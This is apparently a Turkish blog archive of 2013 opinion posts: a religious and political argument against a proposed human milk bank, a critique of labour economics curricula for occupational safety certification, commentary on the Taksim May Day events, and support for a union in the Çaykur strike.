Türkiye   1950’li yıllarda itibaren yani liberal siyasal tercihli sanayileşme sürecine yöneldiğinde  yabancı menşeili  pek çok firma, toplumun besin edinme türünde  değişime yol açan yeni bir propagandayı kullandı.  Türkiye’de ilk yatırımını 1952’de yapan margarin üreticisi bir firma ekseninde gelişen  propaganda;  “hayvansal tereyağın tüketiminin sağlıksız, bunun yerine margarinin tüketiminin daha sağlıklı olduğuna” yönelikti.  Bu propaganda da  bir kısım tıp doktorları ve medya, toplumu ikna etmede önemli rol oynamışlardı. Görünüşde sağlıklı bir yeni besin türü topluma önerilirken esasında, uluslararası liberal-kapitalist bir firma ya da firmaların, Türkiye’de gıda sektörü üzerinden getirim (rant)elde etmesi sonucunu ortaya çıkarmıştı. Günümüzde aynı  tıp çevreleri ve medya tereyağının insan sağlığı açısından pozitif etlilerinin önemini vurgular hale gelmiştir. Bu örnek durumda gösterildiği gibi içinde bulunduğumuz zaman diliminde anne süt bankası konusu da liberal-kapitalizmim ekonomi-politik meselesinden kaynaklanır olarak da görülmelidir. Yine bu noktada kimi tıpçılar, konunun uygulanmasına yönelik olumlu bakışlarını  “sanki anne sütünün, annenin bedeni dışında da olsa vazgeçilmezliği ile ilgili vurgu salt “bilimsel” bir gerçekliğe dayanıyormuş gibi” değerlendirmelerinden anlamaktayız. Bundan dolayı bu konuda Diyanetten görüş alınmasını hayretle karşılamaktadırlar (http:// www.zaman.com.tr 10 mart 2013 14:30).

Çocukların beslenmesi elbette hem iktisadî ve toplumsal hem de kültürel ve dinî bir mesele olarak görülmesi gerekmektedir. Bu konular esasında hep bu noktadan tartışıla da gelmiştir.   “Bu yüzden siyasî/toplumsal bir tartışma gerçekleşmeden bir oldu bitti ile süt bankasının tesis edilmesi, ciddi bir dayatma olarak” görülmesi gerekmektedir. Çünkü ” çocuğun beslenmesi hep kültürel ve dinî bir mesele olmuşsa da modern devletin doğuşu ile birlikte bebeklerin nasıl besleneceği ekonomi politiğin konusu olmaya başladığı” da bilinen bir gerçek durumundadır.

Bu noktada Kutsal kitabımız dakonuıyu açığa kavuşturan  pek çok ayetleri görmek mümkündür. Bunlardan bazıları Bakara Suresi 233. Ayet, Lokman Suresi 14. Ayet,  Nisa Suresi  23. Ayetler olarak belirtilebilinir.

Nisa Suresi 23. Ayet  ise :

“Size şunları nikahlamak haram kılındı: Anneleriniz, kızlarınız, kız kardeşleriniz, halalarınız, teyzeleriniz, erkek ve kız kardeşlerinizin kızları, sizi emziren süt anneleriniz, süt kardeşleriniz ve karılarınızın anneleri ve kendileriyle zifafa girdiğiniz kadınlarınızdan olan ve evlenmelerinizde bulunan üvey kızlarınız. Eğer üvey kızlarınızın anneleri ile zifafa girmemişseniz onlarla evlenmenizde size bie günah yoktur. Sulbünüzden gelen (öz) oğullarınızın hanımları ile evlenmeniz ve iki kız kardeşi birlikte nikahlamanız da haramdır. Ancak cahiliyet devrinde geçen geçmiştir. Şüphesiz ki Allah gafur (Çok bağışlayıcı) ve çok erhamet edicidir.”

Bu ayete göre ilahıyatçıların açıklamaları şöyledir:  Süt emme çağında iken aynı kadından süt emen çocuklar ve onları emzirenler arasında evlenme engelinin oluşacağı hükme bağlamıştır. Peygamber Efendimiz de nesep yönüyle birbirlerine haram olanların, süt emme yolu ile de haram olacaklarını beyan etmiştir(Müslim, Radâ’, 2). Burada söz konusu olan, farklı annelerin sütünün bir bankada korunarak, ihtiyaç sahibi çocuklara verilmesidir. Kaldı ki, Anadolu’da anneler başka çocukları emzirdikleri zaman emzirilen çocuk sütkardeş kabul edilir, yetişkinlik çağına adım attığı zaman evlendirilme olaylarında bu mahremiyet konusuna azami derecede dikkat edilir(http:www.memleket.com, 10 mart 2013 14.00).

Lokman Suresi 14. Ayet ise :

“Biz insana ana basına güzelce davranmasını ve iyilikler yapmasını emrettik. Çünkü annesi onu nice nice zahmetlere katlanarak karnında taşımıştır; sütten kesilinceye kadar iki yıl içinde de onu emzirmiştir. Bu sebeple  (Ey insan!)  bana şükret, ana babana da teşekkür et. Yargılanıp mükâfatlandırılmak ve cezalandırılmak üzere üzere benim huzuruma döndürüleceksin. “

“Süt, doğuran kadının göğüslerinde oluştuğu için kadın doğası ve Rabbimizin emzirme ile ilgili açıkladığımız Kur’ânî buyruğu ve benzerleri emzirmeyi gerektirmektedir(Bakara 233; Ahkâf 15).  Bu sebeple anneler doğurdukları çocuklarını emzirmekle yükümlüdürler. Emzirme  Rabbimizin  emrini uygulama olduğu i için  ibadettir. Yine emzirme günümüz küresel kültürü içinde seküler yaşama ve estetik kaygılara karşı yapılan sevap kazandırıcı   kültürel cihadtır. Ayrıca emzirme anne olmanın gereğidir. Ayrıca emzirme, hamilelik ve doğum gibi çocuk üzerinde analık haklarını oluşturan ana sebeplerden biri olarak belirtili”r. Bundan dolayı emzirme, dini vazgeçilmez bir kural olarak toplumsal yapımızda bulunur. Bunun Türkiye’de tıbbı yolarla bankacılığı ağına dahil edilmek istenmesinin, din-toplum-değer çatışmasını ortaya çıkaracak yönü bulunmaktadır.

Doğuran annenin hastalığı, boşanması veya ölümü gibi durumlarda bebeğin süt nimetinden yoksun bırakılmaması için süt annenin  aranılması  ve bulunarak devreye sokulması da İslam’ın tavsiyesidir (Bakara 233;Talâk 6). Bundan dolayı

İslâm onay verip öğütlediği içindir ki  Müslüman Anadolu kültürümüzde de  süt analığı bir dinamik kurum olarak varlığını devam ettirmektedir(http://www.alirizademircan.net 10 mart 2013 14:35).

Bütün bunlar anlaşılacağı üzere İslam bu konuda kavram geliştirerek kendi sistemsel bakışını dahi oluşturmuştur. Konu, İslam’da başıboş değildir. Kendi kavramlarıyla her bir kurum açıklanmıştır;

İslâm, neslin korunmasına büyük önem atfetmiştir. Neslin korunmasında kurallar son derece dikkatli bir şekilde konulmuştur. Neslin korunmasında en önemli konulardan birisi de “Anne sütü”dür. İslâm fıkhında buna “Radâ'” denilmektedir. Kelimenin anlamı, çocuğun, annesi veya başka bir kadın tarafından emzirilmesi anlamına gelmektedir.

Kur’an-ı Kerim ve Hadis-i şeriflerde konu açık ve net bir şekilde hükme bağlanmıştır. Fıkıh kitaplarında tüm ayrıntıları ile açıklanmıştır. Radâ’, terim olarak “bir kadının sütünün emzirme yoluyla ya da başka bir biçimde içilip yutulması” anlamındadır. Konunun her bir aşamasında denk düşen bir kavram(RADA, Rida, karabatü’r-radâ’, murdi)bulunduğundan İslam süt annelik meselesinde bütün yönleriyle her bir aşamayı bir kavram ile açıklamakla sistemsel bakış açısını ortaya koymuştur. Bu çok açık bir konudur.

İslam ‘da bu mesele bu kadar açık ve net ölçülerde açıklanırken Böylece konuya sadece Kanun yapma (Yasama) tekniği açısından yaklaşılmakta olduğu görülmektedir. Bu yaklaşım ise dinin bu konudaki temel hükümleri göz ardı etmektedir.

Konu seksenli yıllarda dahi İslam Dünyasında tartışılmış ve 22-28 ARALK 1985 tarihinde Cidde’de toplanan İslam Konferansı Teşkilatının Fıkıh Akademisinde alınan bir kararla “İslâm Ülkelerindeki sosyal yapı içinde genellikle çocuğu doğal biçimde emziren bir sütannenin bulunabileceğine, Batı ülkelerinde de süt bankalarının giderek azaldığına dikkat çekildikten sonra farklı annelerden alınan sütlerin karışımının süt hısımlığı doğuracağı, ancak süt bankasına süt veren annelerin belirlenmesindeki güçlük sebebiyle süt hısımlarının bilinmesinin mümkün olmayacağı, bunun da aralarında evlenme yasağı bulunan kişilerin bu durumu bilmeden evlenmelerine yol açabileceği, süt bankasından süt almanın haram olduğu veİslâm Ülkelerinde süt bankası kurulmasının engellenmesi gerektiği” sonucuna varılmıştır (http.//www.habervaktim.com   ,10.03 2013- 13:15).

Sonuç itibariyle “anne sütü bankası”nın  Türkiye’de  prematüre doğdukları için yılda kaybedilen 6 bin bebeğin hayatını kurtarmaya yönelik  olmaktan daha çok liberal-kapitalist uygulamalarına yönelik  bir bakış açısının yeni bir ekonomi-politik düzen kurma olarak değerlendirilmeye tabii tutulduğu üzerinden düşünmenin gereği bulunmaktadır (margarin  örneğinde olduğu gibi).

SONUÇ

Bağış sütlerin nasıl alınacağı, bağıştan önce hangi testlerin yapılacağı, bu testlerin ücretinin kim tarafından ödeneceği, bankaların nerelerde kurulacağı, özel sektöre izin verilip verilmeyeceği gibi konularda Sağlık Bakanlığının hiçbir açıklaması bulunmamaktadır. Bundan kurumsal olarak bir alt yapının oluşmaması “anne sütü bankası”  konusunda bir zafiyet ortaya çıkarması mümkün görülmektedir. Yapılanmanın tam kapasiyete ulaşana dek çeşitli karmaşaların ortaya çıkmasını muhtemel gözüktüğünden bu projeden vazgeçilmesinin en azından fiziki kapasite yetersizlik gerekçesiyle vazgeçilmesi uygun görülmelidir

Nesilleri ifsat edecek, bozacak ve dejenere edecek olan, aynı zamanda büyük bir vebali de beraberinde getiren böylesine riskli bir uygulamanın derhal gündemden çıkarılması ve bu uygulamadan vazgeçilmesi gerekir. Bir diğer husus, süt verildiği anda bebeklerin aynı cins olduğuna dikkat edilse bile, süt veren annenin daha sonra dünyaya getireceği farklı cins çocukları da daha önce sütünü içen çocukla süt kardeş olacağı için bu işin içinden nasıl çıkılacaktır?

Kaynakça

http.//www.habervaktim.com   ,10.mart 2013- 13:15
http:// www.zaman.com.tr      10 mart 2013 14:30
http://www.alirizademircan.net 10 mart 2013 14:35

Çalışma Ekonomisi ve Endüstri İlişkileri Mezununun İş Güvenliği Uzmanı Olmasının Önündeki Engeller

ABCissagligiguvenligiuzmanisertifikasi

25.04.2013 tarihinde Recep Kapar hocamız çok önemli bir tartışma notu kaleme almış. Notu okuyunca Recep Hocanın çok önemli noktalara parmak bastığını gördüm. Bu yönde metinlerin çoğalmasının bölüm mezunlarımız ve hatta bizzat bölümdeki araştırma görevlileri ve hocalarımızın faydasına olacağını çok net olarak söylemek lazım. Ancak konuyla ilgili bölüm müfredatlarımızdan kaynaklanan bazı sorunlar olduğunu düşünüyorum. Mutlaka çalışma ekonomisi ve endüstri ilişkileri mezunlarının da iş sağlığı ve güvenliği uzmanı olabilmeleri, fakat bunun bir üst sınırı olması ve bu sınırı aşabilmek için belirli teknik derslerin bu kişilerce alınması gerektiğini düşünen birisi olarak bunun nedenlerini ifade etmem gerektiğini hissettim ve aşağıdaki metni kaleme aldım.

Kabahatin Çoğu da Bizim Canım Kardeşim!!!

Recep Hocanın tespitleri son derece yerinde ve doğru tespitler. Ancak ne yazık ki, bölüm mezunlarının iş güvenliği uzmanı olamamasının arkasında yatan nedenler ve dolayısıyla bu nedenleri ortaya çıkaran hataların çoğu da bölüm müfredatını belirleyen mekanizmalarda.

İş Sağlığı ve Güvenliği anlamında bazı teknik hesaplamaların yapılabilmesi, bir işyerinin güvenli olup olmadığının tespit edilmesi, iş yerindeki tehlike kaynakları ve bu tehlikelerin önlenmesi için alınması gerekli önlemlerin dizayn edilebilmesi için bazı teknik bilgilere sahip olunması gerekli. Bu bilgilerin edinilmesinin ise bazı ders içeriklerinde somutlaştığını görüyoruz. Bunların başında “ergonomi”, “endüstriyel hijyen”, “iş sağlığı epidemiyolojisi”, “iş kazaları”, “meslek hastalıkları”, “iş sağlığı ve güvenliği yöntemleri TS 18000 serisi” gibi dersler geliyor. Bu derslerden yalnızca “ergonomi” ve “iş sağlığı ve güvenliği yöntemleri TS 18000 serisi” bölüm müfredatlarımızda yer alıyor.

Çalışma Ekonomisi ve Endüstri İlişkileri bölüm müfredatlarında son derece önemli bir ders olan “ergonomi” ne yazık ki sadece 3 üniversitemizin programında yer alıyor. Bunlar Marmara Üniversitesi, Pamukkale Üniversitesi ve Sakarya Üniversitesi. Bu 3 üniversite de ergonomi dersi seçmeli. Yani Çalışma Ekonomisi ve Endüstri İlişkileri Bölümü mezununun ergonomi bilip bilmediğinden işveren ancak bu kişilerin transkriptine bakarsa emin olabilir. Önceki yıllarda ergonomi dersinin bölüm müfredatında olduğunu bilenler, bu durumun sonuçlarının olumlu olmadığını an itibarıyla çok net olarak görebiliyorlardır. Bu dersin kaldırıldığına iş sağlığı ve güvenliği alanında şu an çalışmalar yürüten birisi olarak ne kadar üzüldüğümü tahmin edemezsiniz. Bölüm mezunlarımızın da işgücü piyasasında işsizlik süreleri uzadıkça bu durumun farkına varıp en az benim kadar üzüleceklerine ne yazık ki eminim.

“İş sağlığı ve güvenliği yöntemleri TS 18000 serisi” dersi ise Sakarya Üniversitesi tarafından seçmeli ders olarak müfredata konmuş. Sakarya Üniversitesi bu çerçevede önemli bir girişime imza atarak bölüm mezunlarımızın kendi istekleri doğrultusunda bir yöne doğru uzmanlaşmasının önünü açmış durumda. Bu kapsamda bu durumun önemli bir girişim olduğunu belirtmek gerekir. Daha fazla sayıda bölümün bu girişimi göstermesi ise bölüm mezunlarımızdan daha fazla kişinin bu imkana kavuşması anlamına gelecektir.

İş Sağlığı ve Güvenliği Dersi ise neredeyse tüm Çalışma Ekonomisi ve Endüstri İlişkileri Bölümlerinde mevcut. Bazılarında seçmeli, bazılarında zorunlu olarak. Ancak bu dersin içeriğinin iş sağlığı ve güvenliğine ilişkin hukuki çerçevenin öğretilmesi üzerine olduğu biliniyor. Birçok bölümde bu dersin yürütücülerine baktığımızda İş Hukuku Ana Bilim Dalı’ndan isimler görüyoruz. Bu durum, iş sağlığı ve güvenliği genel müdürlüğünde uzman olarak istihdam edilmelerinde hiçbir sakınca olmayan bölüm mezunlarımızın ne yazık ki iş sağlığı ve güvenliği ile ilgili gerekli teknik bilgi donanımından yoksun olduğunu gösteriyor.

Elbette ki, akademinin ve üniversitenin tek fonksiyonu işgücü piyasasının gerektirdiği veya an itibarıyla ortaya çıkan bir eksikliği hemen doldurmak değil. Ancak ne yazık ki, bölüm mezunlarımızın okul bittiğinde bir meslekleri olmadığı gibi onlara istihdam şansı yaratabilecek gerekli kulis veya lobi faaliyetlerini de yeterince yapamadığımız görülüyor. Bölümlerimiz arası mail listte Yusuf Alper Hocanın daha önce dile getirdiği eksiklikler iş güvenliği uzmanlığında da karşımıza çıkıyor. Ancak bu sefer benim görüşüme göre çok da haklı değiliz.

Bölüm Mezunlarımız Özel ama Teknik Değil

Bölüm müfredatlarımıza bakıldığında iş ahlakı, endüstrileşme, çevre sorunları, ayrımcılık ve çalışma ilişkileri gibi birçok dersin bölüm mezunlarımızın bakış açısını ve perspektifini önemli ölçüde değiştirdiğini ve onları iş sağlığı ve güvenliği anlamında özel kıldığını vurgulamamız gerekir. Bölüm mezunlarımız bu bakış açısıyla iş sağlığı ve güvenliği anlamında çok önemli fark yaratabilirler. Ancak ne yazık ki, iş sağlığı ve güvenliği anlamında fark yaratan nitelikler, teknik becerilere dönüşemiyor ve sahada bölüm mezunlarımız özellikle tehlikeli ve çok tehlikeli işyerlerinde iş güvenliği uzmanı istihdam fırsatı yakalamak noktasında gerekli teknik becerilere sahip değiller. Özellikle risk değerlendirmesi yapmak, tehlike kaynaklarını tespit etmek, tehlike kaynaklarının doğuracağı riskleri öngörerek gerekli hesaplamaları yapmak ve bu risklere karşılık alınması gerekli önlemleri dizayn etmek ne yazık ki bölüm mezunlarımızı aldıkları eğitim çerçevesinde gerçekleştirebilecekleri bir eylem değil. Dolayısıyla özellikle yeni kanun doğrultusunda işyerindeki birçok riskten ve bu riskler sonucu oluşabilecek iş kazaları ve meslek hastalıklarından sorumlu tutulacak ve hapis cezasına varan yaptırımlarla karşılaşabilecek iş güvenliği uzmanlığına bu müfredat ile bölüm mezunlarımızı itmek bence onlar için faydalı olmayacak,aksine onları içinden çıkılamayacak problemlerin içine atmak olacaktır.

Şu soru tabii ki akla gelebilir. Şu anki hukuki yapı dolayısıyla iş güvenliği uzmanı olabilen mimarlık fakültesi mezunları, orman mühendisliği mezunları iş güvenliği uzmanlığını layıkıyla yerine getirebilecek becerilere sahip mi ki biz bölüm mezunlarımızın bu konuda eksik olduğunu düşünüyoruz. Elbette ki, karşılaştırma yapmak gerekirse, bölüm mezunlarımız yukarıda saydığım bölüm ve fakülte mezunlarına oranla konuya daha hakim. Ancak makine mühendisliği, inşaat mühendisliği mezunları teknik hesaplamalara ve işyeri ortamının tasarımına ilişkin konularda bölüm mezunlarımızdan daha önde ve iş güvenliği uzmanından bu hukuki mevzuat çerçevesinde beklenen işyerindeki tehlikelerin tespit edilmesi ve engellenmesi. Yani işin sosyal boyutu iş güvenliği uzmanının görev alanı kapsamında değil. Bu çerçevede çalışma ekonomisi ve endüstri ilişkileri bölümü mezunları eksik olduğu bir alana girerek kendilerini geliştirmedikleri taktirde ve gerekli teknik dersleri almadıkları zaman ne yazık ki işverenlerin isteklerine cevap veremeyecekler ve kanun önünde de zor durumlara düşecekler.

Bu bağlamda bölüm mezunlarımızın belirli teknik dersler sonrası (B) ve (A) sınıfı iş güvenliği uzmanı olabilmelerinin önünün açılması ve doğrudan yalnızca (C) sınıfı iş güvenliği olarak sertifikalandırılmaları yaklaşımı, sosyal politiker olarak kendisini nitelendiren kişilerin, sağduyulu ve işçi sağlığını ve güvenliğini önemseyen tavrı olmalıdır diye düşünüyorum. Daha önce de belirttiğim gibi şu anki hukuki çerçevede kimya, fizik ve mimarlık fakültesi mezunları olabiliyorsa bizim bölüm mezunlarımız hayli hayli olur yaklaşımı da benimsenebilir. Fakat bu yaklaşım ne kadar iş sağlığı ve güvenliğini sosyal bir hak olarak görmek ve iş sağlığı ve güvenliğini ne kadar önemsemek olur bilmiyorum.

Herhangi Bir Girişim Söz Konusu mu?

Fiili durumda ise geçen hafta Süleyman Çelebi T.B.M.M.’ye yasa değişikliği önerisi sundu ve Çalışma Ekonomisi ve Endüstri İlişkileri Bölümü mezunlarının da iş güvenliği uzmanı olabilmesini önerdi. Durumu takip edeceğiz elbette fakat bu sözleri sarfetmeksizin sadece iş kapısı açılacak diye iş güvenliğini geri plana atmak olarak düşündüğüm bu yaklaşımı savunmak bana biraz eksik bir yaklaşım olarak geliyor.

Metinde bahsettiğim Recep Kapar Hocanın tartışma notuna http://bloknot.sosyalkoruma.net/ buradan, Süleyman Çelebi’nin yasa teklifine de http://www.suleymancelebi.org/meclis-calismalari/326/celebiden-is-guvenligi-uzmanlarina-kanun-teklifi#.UXUPE_ksh1w.facebook buradan ulaşılabilir

 

74344

2013’ün 1 Mayısının  Taksim’in bu haliyle Taksim’de kutlanması şart mıydı?

El Cevap – Hayır

Konfederasyonlar kendi aralarında anlaşsaydı Taksim’de 100.000 kişi değil ama 35.000 kişiyle bu gün kutlanabilir miydi?

El Cevap- Evet

Konfederasyonlar bu makul kutlamayı istemek yerine, gerilim ve uzlaşmamayı istedi mi?

El Cevap – Evet

Polisin bu derece sert müdahale etmesi gerekir miydi?

El Cevap – Kesinlikle Hayır

Bu durumun böyle olacağı bilinerek sert müdahale edilmesi gerektiği söylendi mi?

El Cevap – Kesinlikle Evet

1 Mayıs’ın sendikalar ve konfederasyonlarca Taksim’de kutlanmasının hükümet protestosuna dönüşmesinden korkulduğu için mi bu derece sert müdahale edildi?

El Cevap – Kesinlikle Evet

Kim bu durumdan karlı çıktı?

El Cevap – Kimse

Sonuç itibarıyla “emek” bu günden dayanışma ve birlik veya herhangi bir sendikal bilinç geliştirerek emeğin sorunlarını gündeme taşıyarak günün anlamını değerlendirebildi mi?

El Cevap – Kesinlikle Hayır

1977’de meydana ateş edenler halen bulunamadı mı?

El Cevap – Burası Türkiye…

Emeğin bayramını layıkıyla kutlayabildiğimiz, muassır medeniyet seviyesine ulaşabildiğimiz, sivil toplumdan korkmadığımız, sivil toplumunda kendisini disipline edebilen ve ne istediğini bilen mekanizmalar haline gelmesi dileğiyle

Emeğin bayramı kutlu olsun…

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

imagesAk Parti döneminde emek sınıfının haklarının izlenilen neo-liberal politikalar dolayısıyla baskı altında tutulduğu bu döneme ilişkin akademik çalışmalarda sıkça dile getirilen bir mesele. Gerçek durumun da böyle olduğunu ortaya koyan ampirik çalışmalar da mevcut. Bunun yansımalarını tekel direnişinde ve Türk Hava Yolları grevinde gördük. Tekel direnişi ve Türk Hava Yollarındaki grev süresince hükümetin tutumu ve ilgili bakanların hastalıklı dilinin ne yazık ki olayları daha da çetrefilli hale getirdiği herkesin kabul ettiği bir gerçek.

Özellikle Türk Hava Yollarındaki grev sürecinin Türkiye’yi ILO nezdinde de sıkıntıya düşürecek ve sermaye sınıfının arkasında net bir şekilde devlet desteğinin olduğunu ortaya koyan durumlara dönüştüğünü hepimiz izledik. Bu kapsamda sendikal tavrın ve tutumun önemli ölçüde yara aldığı ve kendi itibarını korumak için bir değişim içinde olması gerektiği açık. Ancak Çaykur grevini bu kapsamda değerlendirmemek gerekir. Bu bir hesaplaşma değildir. Grev de bir hesaplaşma aracı değildir zaten. Bu durum elde edilmiş hakkın sahibinin (Tek Gıda – İş) bu hakkı kendi üyeleri dışında paylaşmak istememesi ve yasal çerçevenin de  bu duruma izin vermesidir. Dolayısıyla bahse konu hakkı elde ederken ciddi baskılarla karşılaşan ve yıpranan sendikanın, hukuki çerçeveden doğan hakkını kullanmasının önüne yine baskı unsuru ve tehditkar bir dille önlenmesi bu grevi doğurmuştur.

Çaykur’daki grevle ilgili ayrıntılı bilgi sahibi olmak isteyenler için aşağıdaki linki ekledim. Hadisenin detayı ile ilgili ayrıntılı bir metin. Benim yorumum ise sendikacılığın en önemli konularından bir tanesinin yani “freerider” bedavacılık sorununun gerçek hayattaki yansımasını olan yaşanan süreci engellemek açısından TekGıda-İş’in tavrının doğru olduğu ve söylemlerini de oldukça isabetli bulduğumdur. Özellikle Gümrük Bakanı’nın ve Çaykur Genel Müdürü’nün grevin zamanlaması ile ilgili açıklamalarına verilen ve hukuki çerçevenin gerekliliğini vurgulayan açıklamalar ve yine mevsimlik işçilerin işe çağrılması ile ilgili yapılan ve “işçi ailelerinin kursağından lokma geçmesini kabul ederiz ancak bu durum grev kırıcılığıdır” tarzı çözüme vurgu yapan ve çatışmacı sendikal tutum içermeyen yaklaşımlar bence takdire şayan. Yine Genel Müdürün çay üreticileri biz çay almazsak sıkıntıya düşer gibi sendikal tutuma karşı kamuoyu oluşturmaya yönelik tehditkar açıklamaları da aynı derece tehlikeli ve itici.

Sonucun ne olacağını hep birlikte göreceğiz. Ama ben buradan açıklayayım ki, bugünden itibaren Çaykur markasına tabi herhangi bir ürün tüketmiyorum. Sendikal baskıya direnmiş ve sonuç almış sendikayı sırf siyasi görüş dolayısıyla dışlamaya karşı bende kendi çapımda nacizane destek veriyorum.

Olayın Detaylarını Öğrenmek İçin Aşağıdaki Linke Tıklanabilir.

http://www.sendika.org/2013/04/akp-ile-hesaplasma-caykur-grevi-atilla-ozsever-yurt/

OECD Büyümenin insan odaklı ve gelir dağılımını düzeltici şekilde gerçekleşmesi için neler yapılması gerektiği konusunda bir program yürütüyor. Bu konudaki mevcut durumu ve yapılması gerekenleri kısaca anlatan video’da ne yazık ki olumsuz bir gösterge olarak Türkiye’den de bir veri bulunuyor. Videodaki yorumlar güzel ve ne yazık ki Türkiye’deki durum ile örtüşüyor. Buradan izlenebilir.